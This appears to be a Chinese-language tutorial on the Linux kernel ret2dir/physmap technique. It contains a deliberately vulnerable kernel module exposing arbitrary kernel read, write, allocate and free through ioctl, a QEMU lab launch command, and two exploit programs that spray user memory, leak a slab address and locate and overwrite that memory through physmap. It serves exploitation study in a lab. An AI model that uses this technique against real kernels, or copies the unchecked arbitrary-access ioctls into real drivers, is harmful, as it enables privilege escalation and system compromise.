参考:
https://www.anquanke.com/post/id/185408
https://www.jianshu.com/p/3c662b6163a7
原理就是在内核空间找到了对应用户空间的内存.
介绍
在内核空间有一段physmap,physmap直接映射区域在0xffff888000000000 - 0xffffc87fffffffff 这一段,大小为 64TB
那么这段内存是用来做什么的呢?
physmap:内核空间中一个大的,连续的虚拟内存空间它映射了部分或所有(取决于具体架构)的物理内存
测试模块
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include<linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>
MODULE_LICENSE("Dual BSD/GPL");
#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args{
uint64_t addr;
uint64_t size;
char __user *buf;
};
static long read_any(struct in_args *args){
long ret = 0;
char *addr = (void *)args->addr;
if(copy_to_user(args->buf,addr,args->size)){
return -EINVAL;
}
return ret;
}
static long write_any(struct in_args *args){
long ret = 0;
char *addr = (void *)args->addr;
if(copy_from_user(addr,args->buf,args->size)){
return -EINVAL;
}
return ret;
}
static long add_any(struct in_args *args){
long ret = 0;
char *buffer = kmalloc(args->size,GFP_KERNEL);
if(buffer == NULL){
return -ENOMEM;
}
if(copy_to_user(args->buf,(void *)buffer,0x8)){
return -EINVAL;
}
return ret;
}
static long del_any(struct in_args *args){
long ret = 0;
kfree((void *)args->addr);
return ret;
}
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
long ret = -EINVAL;
struct in_args in;
if(copy_from_user(&in,(void *)arg,sizeof(in))){
return ret;
}
switch(cmd){
case READ_ANY:
ret = read_any(&in);
break;
case WRITE_ANY:
ret = write_any(&in);
break;
case DEL_ANY:
ret = del_any(&in);
break;
case ADD_ANY:
ret = add_any(&in);
break;
default:
ret = -1;
}
return ret;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = NULL,
.release = NULL,
.read = NULL,
.write = NULL,
.unlocked_ioctl = kpwn_ioctl
};
static struct miscdevice misc = {
.minor = MISC_DYNAMIC_MINOR,
.name = "kpwn",
.fops = &fops
};
int kpwn_init(void)
{
misc_register(&misc);
return 0;
}
void kpwn_exit(void)
{
printk(KERN_INFO "Goodbye hackern");
misc_deregister(&misc);
}
module_init(kpwn_init);
module_exit(kpwn_exit);
实现了四个功能
- add_any kmalloc 任意 size,返回地址
- del_any 传入 addr, kfree 掉
- read_any 传入 addr 任意地址读
- write_any 传入 addr 任意地址写
漏洞利用
- mmap 喷大量的内存
- physmap 中找出用户态 mmap 的内存的对应地址 A
- 尝试改写 physmap 中地址 A 的内容,在用户态查看是否有变化
qemu启动
qemu-system-x86_64 -m 128M
-nographic -kernel $bzImage_dir
-append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr'
-monitor /dev/null -initrd $cpio_dir
-cpu kvm64,+smep,+smap -s 2>/dev/null
test_exp.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
void x64dump(char *buf, uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : \n");
for (int i=0; i<num; i++){
if (i%2==0 && i!=0)
printf("\n");
printf("0x%016lx ", *(buf64+i));
}
printf("\n[-x64dump-] end ... \n");
}
void loge(char *buf){
printf("[err] : %s\n", buf);
exit(EXIT_FAILURE);
}
void logs(char *tag, char *buf){
printf("[ s]: ");
printf(" %s ", tag);
printf(": %s\n", buf);
}
void logx(char *tag, uint32_t num){
printf("[ x] ");
printf(" %-20s ", tag);
printf(": %-#8x\n", num);
}
void loglx(char *tag, uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx\n",num);
}
void bp(char *tag){
printf("[bp] : %s\n", tag);
getchar();
}
#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args{
uint64_t addr;
uint64_t size;
char *buf;
};
void add_any(int fd,u64 size, char *buf){
struct in_args in;
in.buf=buf;
in.size=size;
long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf, u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf, u64 size){
struct in_args in;
in.addr = addr;
in.buf = buf;
in.size = size;
long res = ioctl(fd, WRITE_ANY, &in);
}
void del_any(int fd, u64 addr){
struct in_args in;
in.addr = addr;
long res = ioctl(fd,DEL_ANY,&in);
}
#define spray_times 32*32
#define mp_size 1024*64 // 64K
void *spray[spray_times];
void heap_spray(){
void *mp;
for (int i=0;i<spray_times;i++){
if ((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
logs("error","heap spray");
exit(0);
}
memset(mp,'K',mp_size);
spray[i]=mp; //用户地址!RAM中的用户数据地址,保存下来。以检查用户数据是否被修改
}
}
u64 *check(){
int i=0;
for (i=0;i<spray_times;i++){
u64 *p = spray[i];
int j=0;
while(j<mp_size/8){
if (p[j]!=0x4b4b4b4b4b4b4b4b){
loglx("check change", (u64)&p[j]);
return &p[j];
}
j+=0x1000/8;
}
}
return NULL;
}
int main(int argc,char **argv){
int fd = open("/dev/kpwn", O_RDONLY);
logx("fd",fd);
char *target = "KKKKKKKKKKKKKKKK";
char *buf = malloc(0x1000);
char *dirty = malloc(0x100);
memset(dirty,'A', 0x100);
u64 *buf64 = (u64 *)buf;
add_any(fd,0x200,buf);
heap_spray();
u64 slab_addr = buf64[0]; //内核地址! slab_addr 在内核physmap中对应的slab地址
slab_addr = slab_addr & 0xffffffffff000000; // physmap基址
loglx("slab_addr", slab_addr);
printf("slab_addr2: %lx\n", *(size_t *)(buf));
u64 addr = slab_addr;
u64 pos=0;
u64 addr_to_change=0;
for(;addr < 0xffffc80000000000; addr+=0x1000){
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = (u64)memmem(buf,0x1000,target,0x10);
if (pos){
addr_to_change = addr + pos - (u64)buf; // addr + 偏移,addr_to_change:内核physmap地址
loglx("physmap hit addr", addr);
loglx("addr to change", addr_to_change);
write_any(fd, addr_to_change, dirty, 0x20);
u64 *p = check();
if (p!=NULL){
logs("userspace", "already change");
x64dump((char *)p, 0x10);
break;
}
}
}
bp("wait");
return 0;
}
exp.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : \n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("\n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("\n[-x64dump-] end ... \n");
}
void loge(char *buf){
printf("[err] : %s\n",buf);
exit(EXIT_FAILURE);
}
void logs(char *tag,char *buf){
printf("[ s]: ");
printf(" %s ",tag);
printf(": %s\n",buf);
}
void logx(char *tag,uint32_t num){
printf("[ x] ");
printf(" %-20s ",tag);
printf(": %-#8x\n",num);
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lx\n",num);
}
void bp(char *tag){
printf("[bp] : %s\n",tag);
getchar();
}
#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args{
uint64_t addr;
uint64_t size;
char *buf;
};
void add_any(int fd,u64 size,char *buf){
struct in_args in;
in.buf=buf;
in.size=size;
long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,WRITE_ANY,&in);
}
void del_any(int fd,u64 addr){
struct in_args in;
in.addr = addr;
long res = ioctl(fd,DEL_ANY,&in);
}
#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
void heap_srapy(){
void *mp;
for(int i=0;i<spray_times;i++){
if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
logs("error","heap spray");
exit(0);
}
memset(mp,'K',mp_size);
spray[i]=mp; //用户地址!RAM中的用户数据地址,保存下来。以检查用户数据是否被修改
}
}
u64 *check(){
int i=0;
for(i=0;i<spray_times;i++){
u64 *p = spray[i];
int j=0;
while(j<mp_size/8){
if(p[j]!=0x4b4b4b4b4b4b4b4b){
loglx("check change",(u64)&p[j]);
/*x64dump((void *)&p[j],0x20);*/
return &p[j];
}
j+=0x1000/8;
}
}
return NULL;
}
int main(int argc,char **argv){
int fd = open("/dev/kpwn",O_RDONLY);
logx("fd",fd);
char *target = "KKKKKKKKKKKKKKKK";
char *buf = malloc(0x1000);
char *dirty = malloc(0x100);
memset(dirty,'A',0x100);
u64 *buf64 = (u64 *)buf;
// Step 1: 泄露slab地址(内核physmap地址)。mmap喷射用户数据"K"
add_any(fd,0x200,buf);
/*x64dump(buf,0x2);*/
heap_srapy();
u64 slab_addr = buf64[0]; //内核地址! slab_addr 在内核physmap中对应的slab地址
slab_addr = slab_addr & 0xffffffffff000000;
loglx("slab_addr",slab_addr);
// Step 2: 在内核physmap中搜索用户数据"K"
u64 addr = slab_addr;
u64 pos=0;
u64 addr_to_change=0;
for(;addr < 0xffffc80000000000;addr+=0x1000){
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = (u64) memmem(buf,0x1000,target,0x10);
if(pos){
addr_to_change = addr + pos - (u64)buf; // addr + 偏移,addr_to_change:内核physmap地址
loglx("physmap hit addr",addr);
loglx("addr to change",addr_to_change);
write_any(fd,addr_to_change,dirty,0x20);
// Step 3: 找到physmap中对应的用户数据,写入dirty值,检查用户空间的值是否被修改
u64 *p = check();
if(p!=NULL){
logs("userspace","already change");
x64dump((char *)p,0x10);
break;
}
}
}
bp("wait");
return 0;
}